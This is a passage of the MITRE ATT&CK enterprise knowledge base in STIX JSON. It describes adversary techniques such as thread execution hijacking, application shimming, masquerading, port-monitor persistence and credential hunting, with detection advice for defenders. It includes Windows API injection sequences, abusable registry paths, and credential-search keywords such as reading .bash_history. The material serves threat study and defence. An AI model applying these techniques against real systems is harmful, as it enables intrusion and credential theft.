Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["Matt Kelly, @breakersall", "Zachary Stanford, @svch0st", "Dray Agha, @Purp1eW0lf, Huntress Labs"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_version": "2.3", "x_mitre_data_sources": ["Process: Process Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation"], "type": "attack-pattern", "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1219", "external_id": "T1219"}, {"source_name": "CrowdStrike 2015 Global Threat Report", "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf"}, {"source_name": "CrySyS Blog TeamSpy", "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.", "url": "https://blog.crysys.hu/2013/03/teamspy/"}, {"source_name": "Google Chrome Remote Desktop", "description": "Google. (n.d.). Retrieved March 14, 2024.", "url": "https://support.google.com/chrome/answer/1649523"}, {"source_name": "Chrome Remote Desktop", "description": "Huntress. (n.d.). Retrieved March 14, 2024.", "url": "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"}, {"source_name": "Symantec Living off the Land", "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.", "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-28T15:55:55.068Z", "name": "Domains", "description": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Wes Hurd", "Vinayak Wadhwa, Lucideus", "Deloitte Threat Library Team", "Oleg Kolesnikov, Securonix", "Menachem Goldstein", "Nikola Kovac"], "x_mitre_deprecated": false, "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Domain Name: Passive DNS", "Domain Name: Domain Registration", "Domain Name: Active DNS"], "type": "attack-pattern", "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "created": "2020-09-30T17:09:31.878Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583/001", "external_id": "T1583.001"}, {"source_name": "URI Unique", "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.", "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"}, {"source_name": "PaypalScam", "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.", "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"}, {"source_name": "CISA IDN ST05-016", "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.", "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016"}, {"source_name": "CISA MSS Sep 2020", "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a"}, {"source_name": "bypass_webproxy_filtering", "description": "Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.", "url": "https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/"}, {"source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}, {"source_name": "Domain_Steal_CC", "description": "Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it\u2019s Now Stealing Credit Cards. Retrieved September 20, 2019.", "url": "https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/"}, {"source_name": "tt_obliqueRAT", "description": "Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.", "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"}, {"source_name": "tt_httrack_fake_domains", "description": "Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.", "url": "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html"}, {"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}, {"source_name": "Categorisation_not_boundary", "description": "MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.", "url": "https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/"}, {"source_name": "URI", "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.", "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"}, {"source_name": "Redirectors_Domain_Fronting", "description": "Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.", "url": "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/"}, {"source_name": "URI Use", "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.", "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"}, {"source_name": "iOS URL Scheme", "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.", "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"}, {"source_name": "lazgroup_idn_phishing", "description": "RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.", "url": "https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/"}, {"source_name": "httrack_unhcr", "description": "RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.", "url": "https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/"}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", "type": "attack-pattern", "created": "2020-02-20T21:08:52.529Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1560.002", "url": "https://attack.mitre.org/techniques/T1560/002"}, {"source_name": "PyPI RAR", "url": "https://pypi.org/project/rarfile/", "description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020."}, {"source_name": "libzip", "url": "https://libzip.org/", "description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020."}, {"source_name": "Zlib Github", "url": "https://github.com/madler/zlib", "description": "madler. (2017). zlib. Retrieved February 20, 2020."}, {"url": "https://en.wikipedia.org/wiki/List_of_file_signatures", "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", "source_name": "Wikipedia File Header Signatures"}], "modified": "2020-03-29T18:27:30.891Z", "name": "Archive via Library", "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Script: Script Execution", "File: File Creation"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", "type": "attack-pattern", "created": "2020-01-14T01:28:32.166Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.003", "url": "https://attack.mitre.org/techniques/T1055/003"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}], "modified": "2021-10-18T12:22:50.800Z", "name": "Thread Execution Hijacking", "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Modification", "Process: Process Access"], "x_mitre_defense_bypassed": ["Application control", "Anti-virus"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", "type": "attack-pattern", "created": "2017-05-31T21:31:01.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1079", "url": "https://attack.mitre.org/techniques/T1079"}, {"url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", "source_name": "SANS Decrypting SSL"}, {"url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", "source_name": "SEI SSL Inspection Risks"}, {"url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf", "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.", "source_name": "Fidelis DarkComet"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-24T14:09:11.589Z", "name": "Multilayer Encryption", "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"modified": "2024-03-08T17:00:59.133Z", "name": "Masquerading", "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Oleg Kolesnikov, Securonix", "Nick Carr, Mandiant", "David Lu, Tripwire", "Felipe Esp\u00f3sito, @Pr0teus", "Elastic", "Bartosz Jerzman", "Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Containers"], "x_mitre_version": "1.7", "x_mitre_data_sources": ["File: File Modification", "Process: Process Metadata", "Service: Service Creation", "Service: Service Metadata", "Process: Process Creation", "Image: Image Metadata", "Scheduled Job: Scheduled Job Metadata", "File: File Metadata", "Scheduled Job: Scheduled Job Modification", "Command: Command Execution", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Application Control"], "type": "attack-pattern", "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "created": "2017-05-31T21:30:38.511Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036", "external_id": "T1036"}, {"source_name": "Twitter ItsReallyNick Masquerading Update", "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.", "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457"}, {"source_name": "Elastic Masquerade Ball", "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"}, {"source_name": "LOLBAS Main Site", "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.", "url": "https://lolbas-project.github.io/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "type": "attack-pattern", "created": "2020-01-24T14:56:24.231Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1546.011", "url": "https://attack.mitre.org/techniques/T1546/011"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"source_name": "FireEye Application Shimming", "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf", "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020."}, {"url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.", "source_name": "Black Hat 2015 App Shim"}], "modified": "2020-11-10T18:29:31.094Z", "name": "Application Shimming", "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification", "Module: Module Load", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "Process: Process Creation"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2024-04-15T21:33:12.892Z", "name": "Unsecured Credentials", "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)),  or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments  indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers", "Network"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Access", "Application Log: Application Log Content", "Command: Command Execution", "Process: Process Creation", "File: File Access", "User Account: User Account Authentication"], "type": "attack-pattern", "id": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "created": "2020-02-04T12:47:23.631Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1552", "external_id": "T1552"}, {"source_name": "Brining MimiKatz to Unix", "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-12T02:49:39.980Z", "name": "Port Monitors", "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n\n* Local Port\n* 